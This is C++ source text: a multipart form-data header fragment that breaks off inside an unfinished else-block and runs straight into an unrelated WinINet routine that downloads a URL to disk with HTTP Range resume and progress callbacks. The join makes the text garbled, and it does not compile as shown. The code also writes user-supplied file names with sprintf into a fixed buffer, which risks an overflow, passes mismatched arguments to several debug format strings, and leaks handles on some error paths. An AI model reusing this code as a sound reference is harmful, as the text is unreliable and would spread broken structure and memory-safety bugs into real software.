		_inc_mpart_item &item = m_vParts [i];

		CHAR sz [10000];
		if (item.strFileName.empty () == false)
		{
			sprintf (sz, "\
--%s\r\n\
Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n\
Content-Type: application/octet-stream\r\n\r\n",
				strLabel.c_str (), item.strName.c_str (), item.strFileName.c_str ());
		}
		else
		{
HRESULT FAsyncDownload::FHttpDownloadTP::ProcessDownload(FAsyncDownData *pData)
{
    HRESULT hr = E_FAIL; 


    FString ReqUrl = pData->m_pUrlInfo->m_DownloadUrl;
    UrlUnescapeInPlace(ReqUrl.GetBuffer(), 0); 

    CUrl url;
    url.CrackUrl(ReqUrl);

	const tchar* pszUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
    FHInternet hIn = NULL; 
	if (g_AppSettings.m_Proxy.GetLength() > 0)
	{
		hIn = InternetOpen(pszUserAgent, INTERNET_OPEN_TYPE_PROXY, g_AppSettings.m_Proxy, g_AppSettings.m_ProxyA, 0);
	}
	else
	{
		hIn = InternetOpen(pszUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	}

     
    if (NULL == hIn)
        return E_HTTP_NET_ERROR; 

    FHInternet hCon = InternetConnect(hIn, url.GetHostName(), url.GetPortNumber(), url.GetUserName(), url.GetPassword(), INTERNET_SERVICE_HTTP, 0, 0); 

    if (NULL == hCon)
    {
        _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: InternetConnect() failed: %d\n", GetLastError()); 
        return E_HTTP_NET_ERROR; 
    }

	ULONG ulRecvTimeout = 15000; 
	InternetSetOption(hCon, INTERNET_OPTION_RECEIVE_TIMEOUT, &ulRecvTimeout, sizeof(ULONG));


    FString StrRes = url.GetUrlPath();
    StrRes+= url.GetExtraInfo(); 
    
    FHInternet hReq = HttpOpenRequest(hCon, "GET", StrRes, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_DONT_CACHE, 0); 

    if (NULL == hReq)
    {
        _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: HttpOpenRequest() failed: %d\n", GetLastError()); 
        return E_HTTP_NET_ERROR; 
    }

	size_type FileSize = 0;
	
	

	if (!(pData->m_pUrlInfo->m_dwDownloadFlags & HTTP_FLAG_NO_RESUME))
		FileSize = GetFileSize(pData->m_pUrlInfo->m_DownloadFile);

    // See if file already exists on the disk.
    if (FileSize > 0)
    {
        FString StrRange; 
        StrRange.Format("Range: bytes=%I64d-", FileSize); 
        HttpAddRequestHeaders(hReq, StrRange, StrRange.GetLength(), HTTP_ADDREQ_FLAG_ADD_IF_NEW);
    }


	FString StrVersion; 
	StrVersion.Format("LTV_VERSION: %s", g_AppSettings.m_AppVersion); 
	HttpAddRequestHeaders(hReq, StrVersion, StrVersion.GetLength(), HTTP_ADDREQ_FLAG_ADD_IF_NEW);

    if (!HttpSendRequest(hReq, NULL, 0, NULL, 0))
    {
		int err = GetLastError(); 
        _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: HttpSendRequest() failed: %d (0x%x)\n", err, HRESULT_FROM_WIN32(err)); 
        InternetCloseHandle(hCon);
        InternetCloseHandle(hIn); 
        return E_HTTP_NET_ERROR; 
    }

    const DWORD dwBufferSize = 8192;
    char pBuffer[dwBufferSize];

    FHttpConnection FConn = hReq;

    DWORD dwStatusCode = FConn.GetStatusCode(); 

	FString ReqContentType = pData->m_pUrlInfo->m_ContentType; 
	pData->m_pUrlInfo->m_ContentType = FConn.GetHeader(HTTP_QUERY_CONTENT_TYPE);
	pData->m_pUrlInfo->m_dwStatusCode = dwStatusCode; 

	if (!MatchContentType(ReqContentType, pData->m_pUrlInfo->m_ContentType))
	{
		_DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: Content type mismatch: %s/%s\n", ReqContentType, pData->m_pUrlInfo->m_ContentType); 
		return E_NOINTERFACE; //E_NOINTERFACE = content type mismatch
	}

	if (dwStatusCode == 416 && FileSize > 0)
	{
		_DBGAlert("FAsyncDownload::FHttpDownloadTP::ProcessDownload: Server status code: %d. Download complete\n", dwStatusCode); 
		return S_OK; 
	}

    if (dwStatusCode < 200 || dwStatusCode > 206)
    {
        _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: Server status code: %d\n", dwStatusCode); 
		if (dwStatusCode == 404)
			return E_HTTP_NOTFOUND; 
		return E_HTTP_INVALID_STATUS; 
    }

    CAtlFile OutFile; 

	if (pData->m_pUrlInfo->m_dwDownloadFlags & HTTP_FLAG_NO_RESUME)
		DeleteFile(pData->m_pUrlInfo->m_DownloadFile); 

    hr = OutFile.Create(pData->m_pUrlInfo->m_DownloadFile, GENERIC_WRITE, 0, OPEN_ALWAYS);

    if (FAILED(hr))
    {
		_DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: CreateFile failed: 0x%x, %d : %s\n", hr, GetLastError(), pData->m_pUrlInfo->m_DownloadFile); 
        return E_HTTP_WRITE_FILE; 
    }

    size_type llTotalRead = 0; 
    size_type llSizeMax = 0; 

	size_type ContentLen = FConn.GetContentLength(); 

	pData->m_pUrlInfo->m_ContentLength = ContentLen; 

    if (dwStatusCode == 206)
    {
        FString FStrRange = FConn.GetHeader(HTTP_QUERY_CONTENT_RANGE);
        
        if (FStrRange)
        {
           //Content-Range: bytes 21010-47021/47022
           const char* pszBytes = strstr(FStrRange, "bytes ");
           if (pszBytes != NULL)
           {
               pszBytes+=sizeof("bytes");
               LONGLONG llOffset = _strtoi64(pszBytes, NULL, 10); 
               hr = OutFile.Seek(llOffset, FILE_BEGIN); 
               llTotalRead = (size_type)llOffset; 
               if (FAILED(hr))
               {
                   _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: Seek to position %d failed: 0x%x, %d\n", hr, GetLastError()); 
               }

               const char* pszTotal = strchr(pszBytes, '/');
               if (pszTotal != NULL)
                   llSizeMax = _strtoi64(pszTotal + 1, NULL, 10); 
           }
        }
    }
	else
	{
		if (ContentLen > 0 && ContentLen == FileSize)
		{
			OutFile.Close();
			return S_OK; 
		}
	}

    if (llSizeMax == 0)
		llSizeMax = ContentLen;


    pData->pBindStatusCallback.OnProgress((ULONG)llTotalRead, (ULONG)llSizeMax, BINDSTATUS_BEGINDOWNLOADDATA, L"");

    DWORD dwBytesRead = 0; 
    for (;;)
    {
        if (!InternetReadFile(hReq, pBuffer, dwBufferSize, &dwBytesRead))
        {
            _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: InternetReadFile() failed: %d\n", GetLastError()); 
			OutFile.Close();
            return E_HTTP_NET_ERROR; 
        }

		if (dwBytesRead == 0)
		{
			hr = S_OK; 
			break; 
		}

        DWORD dwBytesWritten = 0; 
        hr = OutFile.Write(pBuffer, dwBytesRead, &dwBytesWritten); 

		if (FAILED(hr))
        {
            _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: FileWrite failed: 0x%x, %d\n", hr, GetLastError()); 
			OutFile.Close();
            return E_HTTP_WRITE_FILE; 
        }

        llTotalRead+=dwBytesRead;
		
		pData->pBindStatusCallback.OnProgress((ULONG)llTotalRead, llSizeMax > 0 ? (ULONG)llSizeMax : llTotalRead , BINDSTATUS_DOWNLOADINGDATA, L"");


        if (m_pThis->m_Stopping || pData->pBindStatusCallback.m_Abort)
        {
            _DBGAlert("**FAsyncDownload::FHttpDownloadTP::ProcessDownload: Download aborted\n", hr, GetLastError()); 
            hr = E_ABORT; 
            break; 
        }
    }

	OutFile.Close();
    return hr; 
}